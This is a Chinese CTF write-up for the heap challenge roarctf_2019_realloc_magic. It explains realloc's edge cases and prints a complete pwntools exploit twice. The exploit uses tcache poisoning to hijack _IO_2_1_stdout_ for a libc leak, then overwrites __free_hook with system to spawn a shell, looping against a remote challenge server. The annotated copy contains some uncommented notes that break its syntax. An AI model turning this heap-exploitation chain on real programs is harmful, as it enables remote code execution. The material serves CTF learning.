tcache poisoning(爆破stout获得libc并且熟练使用了realloc)

这道题目帮助我学习了realloc这个函数,是一道十分经典的题目,我会尽量的把exp的每一步都说清楚

例行检查我就不放了

讲程序放入ida中

tcache poisoning(爆破stout获得libc并且熟练使用了realloc)

 

比较简单的流程,没有show功能,所有我们需要通过爆破stdout这个函数来获得libc

我先放上我学习的俩位师傅的博客

(16条消息) BUUCTF-PWN roarctf_2019_realloc_magic(tcache attack,块重叠,劫持_IO_2_1_stdout_泄露libc)_L.o.W的博客-CSDN博客

 

 好好说话之Tcache Attack(1):tcache基础与tcache poisoning_hollk’s blog-CSDN博客 这个博客重点看tcache poisoning部分

然后我先放上realloc的四种不同的用法

realloc的几个特殊用法(摘自官方WP)

size == 0 ,这个时候等同于free
realloc_ptr == 0 && size > 0 , 这个时候等同于malloc
malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit
malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉
然后我将完整的exp放在下面进行一步步的分析

------------------------------------------------------------------------------------------------------------------EXP-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

from pwn import *
#p = process('./pwn1')

elf = ELF('./pwn1')
libc = ELF('./libc-2.27.so')

def launch_gdb():
  context.terminal = ['xfce4-terminal','-x','sh','-c']
  gdb.attach(proc.pidof(p)[0])

def add(size,content):
  p.sendlineafter('>> ','1')
  p.sendlineafter('Size?\n',str(size))
  p.sendafter('Content?\n',content)

def free():
  p.sendlineafter('>>','2')

def ba():
  p.sendlineafter('>>','66i6')


def pwn():

  add(0x70,'a')
  add(0,'')
  add(0x100,'a')
  add(0,'')
  add(0xa0,'a')
  add(0,'')    #这里我们申请了四个不同大小的chunk 然后将它们释放掉

  add(0x100,'b')      #然后将chunk2申请回来

  [free() for i in range(7)]   #通过for循环填满tcache的7个chunk块
  add(0,'')         #将申请回来的chunk2释放掉,注意释放掉的chunk将放入unsortedbin里面 (这里会出现mare的地址)

  add(0x70,'a')       #我们将chunk1申请回来
  add(0x180,b'c'*0x78+p64(0x41)+b'\x60\x87')  #我们申请了一个0x180大小的chunk,刚好是chunk1和chunk2加起来的大小,相当于edit将泄露出的地址后面覆盖为了6087去爆破_IO_2_1_stdout的位置

  add(0,'')                  #我们将chunk释放掉(会进入unsortedbin的链表里面)

  add(0x100,'a')                #我们将chunk2申请回来,注意这个chunk是从tcache里面申请的,fd已经是stdout的位置了
  add(0,'')                  #我们将chunk2释放掉,但是因为这个chunk的大小我们已经改成了0x41大小了,所以这个chunk会放在新的tcache的队列里面,所以0x110的队列就留下了fd的指针,又因为fd指向的是stdout的地址所以我们在申请一个chunk就能申请到相应的地址上面了

  add(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))  #在这里我们申请到了stdout的位置 下面获得libc

  libc_base = u64(p.recvuntil('\x7f',timeout=0.1)[-6:].ljust(8,b'\x00')) - 0x3e82a0 #0x3e82a0这个值是减去vmmap的里面相应的值

  if libc_base == -0x3e82a0: if判断形成自动化
    exit(-1)
  print('libc_base:'+hex(libc_base))

  free_hook = libc_base + libc.sym['__free_hook']
  onegadget = libc_base + 0xf4322
  system = libc_base + libc.sym['system']
  p.sendline('666')
  add(0x120,'a')
  add(0,'')
  add(0x130,'a')
  add(0,'')
  add(0x170,'a')
  add(0,'')

  add(0x130,'a')     和上面泄露libc的同理由
  [free() for i in range(7)]
  add(0,'')
  add(0x120,'a')
  add(0x260,b'a'*0x128+p64(0x41)+p64(free_hook-8))
  add(0,'')
  add(0x130,'a')
  add(0,'')
  add(0x130,b'/bin/sh\x00'+p64(system))
  free()

  p.interactive()
if __name__ == "__main__":
  while True:
#p = process('./pwn1')
    p = remote('node4.buuoj.cn',28076)
    try:
      pwn()
    except:
      p.close()

------------------------------------------------------------------------------------------------------------------------------------------------------------结束-------------------------------------------------------------------------------------------------------------------------------------------------------

这道题是一个非常好的题目,希望可以多多复习一下,能认真的去理解和调试一下

完整exp

from pwn import *
#p = process('./pwn1')

elf  = ELF('./pwn1')
libc = ELF('./libc-2.27.so')

def launch_gdb():
    context.terminal = ['xfce4-terminal','-x','sh','-c']
    gdb.attach(proc.pidof(p)[0])

def add(size,content):
    p.sendlineafter('>> ','1')
    p.sendlineafter('Size?\n',str(size))
    p.sendafter('Content?\n',content)

def free():
    p.sendlineafter('>>','2')

def ba():
    p.sendlineafter('>>','66i6')

    
def pwn():
    
    add(0x70,'a')
    add(0,'')
    add(0x100,'a')
    add(0,'')
    add(0xa0,'a')
    add(0,'')

    add(0x100,'b')

    [free() for i in range(7)]
    add(0,'')

    add(0x70,'a')
    add(0x180,b'c'*0x78+p64(0x41)+p8(0x60)+p8(0x87))

    add(0,'')
    add(0x100,'a')
    add(0,'')

    add(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))

    libc_base = u64(p.recvuntil('\x7f',timeout=0.1)[-6:].ljust(8,b'\x00')) - 0x3e82a0

    if libc_base == -0x3e82a0:
        exit(-1)
    print('libc_base:'+hex(libc_base))

    free_hook = libc_base + libc.sym['__free_hook']
    onegadget = libc_base + 0xf4322
    system = libc_base + libc.sym['system']
    p.sendline('666')
    add(0x120,'a')
    add(0,'')
    add(0x130,'a')
    add(0,'')
    add(0x170,'a')
    add(0,'')
    

    add(0x130,'a')
    [free() for i in range(7)]
    add(0,'')
    add(0x120,'a')
    add(0x260,b'a'*0x128+p64(0x41)+p64(free_hook-8))
    add(0,'')
    add(0x130,'a')
    add(0,'')
    add(0x130,b'/bin/sh\x00'+p64(system))
    free()

    p.interactive()
if __name__ == "__main__":
    while True:
        #p = process('./pwn1')
        p = remote('node4.buuoj.cn',28076)
        try:
            pwn()
        except:
            p.close()

结束

上一篇:通达OA流程中心触发器使用实例


下一篇:力扣1226.哲学家进餐